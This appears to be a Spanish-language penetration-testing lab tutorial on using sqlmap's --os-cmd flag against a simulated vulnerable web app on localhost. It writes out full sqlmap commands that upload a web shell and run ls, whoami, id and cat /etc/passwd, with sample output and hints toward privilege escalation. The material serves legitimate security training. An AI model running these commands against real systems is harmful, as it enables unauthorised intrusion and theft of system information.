Ejecutar Comandos del Sistema Operativo con sqlmap

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, explorará la potente capacidad de sqlmap para ejecutar comandos del sistema operativo en un servidor objetivo. Esta característica es particularmente útil en escenarios de pruebas de penetración donde ha identificado una vulnerabilidad de inyección SQL y desea comprometer aún más el sistema subyacente. Aprenderá a utilizar la bandera --os-cmd, analizar la salida y comprender las limitaciones de esta técnica.

Confirmar Prerrequisitos para la Ejecución de Comandos del SO

En este paso, se asegurará de que sqlmap esté instalado y de que tenga una comprensión básica de cómo identificar una vulnerabilidad de inyección SQL. La ejecución de comandos del SO a través de sqlmap generalmente se basa en la capacidad de escribir archivos en el sistema objetivo (por ejemplo, un web shell) o en el aprovechamiento de funciones específicas de la base de datos que permiten la ejecución de comandos.

Primero, verifique que sqlmap esté instalado en su sistema. Abra una terminal y escriba:

sqlmap --version

Debería ver una salida similar a esta, indicando la versión de sqlmap instalada:

sqlmap version 1.x.x.x ## Reemplace x.x.x.x con la versión real

A continuación, utilizaremos sqlmap para detectar una vulnerabilidad de inyección SQL en una aplicación web local simulada. Esta aplicación está configurada para ser vulnerable a la inyección SQL.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --batch --risk=3 --level=3

La bandera --batch le indica a sqlmap que se ejecute en modo no interactivo, aceptando las opciones predeterminadas. --risk=3 y --level=3 aumentan la profundidad de las pruebas que realiza sqlmap, lo cual es a menudo necesario para encontrar vulnerabilidades más complejas, incluidas aquellas que podrían permitir la ejecución de comandos del SO.

Después de ejecutar el comando, sqlmap realizará varias pruebas. Busque una salida que indique que se ha detectado una vulnerabilidad de inyección SQL. Podría ver líneas similares a:

---
[INFO] testing connection to the target URL
[INFO] checking if the target is stable
[INFO] target URL is stable
[INFO] testing if GET parameter 'id' is vulnerable to SQL injection
...
[INFO] GET parameter 'id' is vulnerable.
...
---

Esto confirma que sqlmap ha identificado con éxito una vulnerabilidad de inyección SQL, que es un prerrequisito para intentar la ejecución de comandos del SO.

Usar la bandera --os-cmd para un Comando Único

En este paso, aprenderá a usar la bandera --os-cmd en sqlmap para ejecutar un único comando del sistema operativo en el servidor objetivo. Esta bandera se utiliza cuando sqlmap ha identificado una forma de ejecutar comandos, típicamente subiendo un web shell o aprovechando funciones específicas de la base de datos.

La sintaxis básica para usar --os-cmd es:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="<comando>" --batch

Reemplace <comando> con el comando del SO real que desea ejecutar. sqlmap intentará ejecutar este comando y devolverá su salida.

Intentemos ejecutar un comando simple como ls para listar los archivos en el directorio actual donde se está ejecutando la aplicación web.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="ls" --batch

sqlmap procederá entonces a:

  1. Detectar la vulnerabilidad de inyección SQL.
  2. Intentar encontrar una técnica adecuada para la ejecución de comandos del SO (por ejemplo, subiendo un web shell).
  3. Ejecutar el comando ls.
  4. Recuperar y mostrar la salida del comando.

Verá varios mensajes de sqlmap indicando su progreso, como:

...
[INFO] trying to upload a web shell for OS command execution
[INFO] web shell uploaded to '/tmp/web_app/tmpbxxxx.php'
[INFO] executing OS command 'ls'
...

La salida del comando ls será mostrada por sqlmap después de que se ejecute con éxito. Esto demuestra la capacidad de ejecutar comandos arbitrarios en el servidor.

Ejecutar un Comando Simple como whoami o id

En este paso, ejecutará comandos comunes de Linux como whoami e id para recopilar información sobre el contexto de usuario y grupo bajo el cual se está ejecutando el proceso del servidor web. Esta información es crucial para comprender los privilegios que tiene en el sistema comprometido.

Primero, ejecutemos el comando whoami:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch

Después de que sqlmap termine, mostrará la salida del comando whoami. Típicamente será el nombre de usuario bajo el cual se está ejecutando el servidor web (por ejemplo, www-data, apache, o labex en nuestro entorno de laboratorio).

...
[INFO] retrieved OS command output:
labex
...

A continuación, ejecute el comando id. Este comando proporciona información más detallada, incluyendo el ID de usuario (UID), el ID de grupo (GID) y todos los grupos a los que pertenece el usuario.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="id" --batch

La salida del comando id se verá algo así:

...
[INFO] retrieved OS command output:
uid=1000(labex) gid=1000(labex) groups=1000(labex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
...

Analizar esta salida le ayuda a comprender los permisos disponibles. Por ejemplo, si el usuario forma parte del grupo sudo, podría ser posible escalar privilegios.

Analizar la Salida de Comandos Devuelta por sqlmap

En este paso, se centrará en comprender cómo sqlmap presenta la salida de los comandos del SO ejecutados y qué buscar. sqlmap recupera la salida del comando del web shell que sube (u otros métodos de ejecución) y la muestra en su consola.

Cuando ejecuta un comando usando --os-cmd, sqlmap típicamente mostrará una línea similar a:

[INFO] retrieved OS command output:

Seguida de la salida real del comando. Por ejemplo, si ejecutó ls -l /tmp, la salida podría verse así:

[INFO] retrieved OS command output:
total 8
-rw-r--r-- 1 labex labex 1234 Jan 1 10:00 somefile.txt
drwxr-xr-x 2 labex labex 4096 Jan 1 10:05 somedir

Es importante leer detenidamente esta salida. Proporciona información directa sobre el sistema objetivo. Por ejemplo:

  • Listados de archivos (ls, dir): Revelan estructuras de directorios, nombres de archivos y permisos.
  • Información del sistema (uname -a, cat /etc/os-release): Proporcionan detalles sobre el sistema operativo, la versión del kernel y la distribución.
  • Configuración de red (ip a, ifconfig): Muestran interfaces de red, direcciones IP y configuraciones de red.
  • Listas de procesos (ps aux): Listan los procesos en ejecución, lo que puede indicar otros servicios o aplicaciones.

Considere ejecutar cat /etc/passwd para ver si puede recuperar archivos sensibles del sistema.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="cat /etc/passwd" --batch

Verá el contenido del archivo /etc/passwd en la salida de sqlmap. Este archivo contiene información de cuentas de usuario y es un objetivo común para el reconocimiento.

...
[INFO] retrieved OS command output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/zsh
...

Analizar esta salida le ayuda a identificar usuarios potenciales, sus directorios de inicio y shells predeterminados, lo que puede ser útil para una mayor explotación.

Comprender las Limitaciones de la Ejecución de Comandos No Interactiva

En este paso, comprenderá las limitaciones inherentes de ejecutar comandos del SO a través del flag --os-cmd de sqlmap, particularmente su naturaleza no interactiva.

El flag --os-cmd ejecuta un solo comando y devuelve su salida. No proporciona un shell interactivo (como una sesión típica de SSH o de terminal). Esto significa:

  1. Sin sesión persistente: Cada ejecución de --os-cmd es una solicitud nueva e independiente. No puede ejecutar un comando y luego usar su salida para informar el siguiente comando en la misma "sesión".
  2. Sin programas interactivos: No puede ejecutar programas que requieran entrada del usuario o interacción continua (por ejemplo, nano, vi, top, passwd).
  3. Operaciones complejas limitadas: Encadenar comandos con pipes (|) o puntos y comas (;) es posible, pero gestionar flujos de trabajo complejos o lógica condicional se vuelve engorroso. Por ejemplo, ls -l /tmp | grep "file" funcionaría, pero un script de varios pasos que requiera interacción del usuario no lo haría.
  4. Manejo de errores: Los errores generalmente se devuelven como parte de la salida del comando, pero depurar problemas complejos puede ser un desafío sin un shell interactivo.

Para superar estas limitaciones, los pentesters a menudo usan --os-shell o --os-pwn en sqlmap (si son compatibles con la base de datos subyacente y la configuración del servidor web). Estos flags intentan establecer un shell semi-interactivo o totalmente interactivo, lo que permite operaciones más complejas. Sin embargo, --os-cmd es útil para el reconocimiento rápido o la ejecución de comandos únicos y atómicos.

Por ejemplo, intente ejecutar un comando que normalmente requeriría interacción, como nano.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="nano" --batch

Probablemente verá un error o ninguna salida significativa, ya que nano espera una terminal y entrada del usuario, lo cual sqlmap no puede proporcionar en este modo no interactivo.

...
[INFO] retrieved OS command output:
Error opening terminal: unknown.
...

Esto demuestra que, si bien es potente para comandos individuales, --os-cmd no es un sustituto de un shell interactivo completo.

Resumen

En este laboratorio, ha aprendido con éxito a ejecutar comandos del sistema operativo en un servidor objetivo utilizando el flag --os-cmd de sqlmap. Comenzó confirmando los prerrequisitos, luego practicó la ejecución de comandos simples como ls, whoami, id y cat /etc/passwd. También adquirió una comprensión de cómo analizar la salida de comandos devuelta por sqlmap y, lo que es importante, reconoció las limitaciones de la ejecución de comandos no interactiva. Esta habilidad es fundamental para las fases posteriores a la explotación en las pruebas de penetración de aplicaciones web.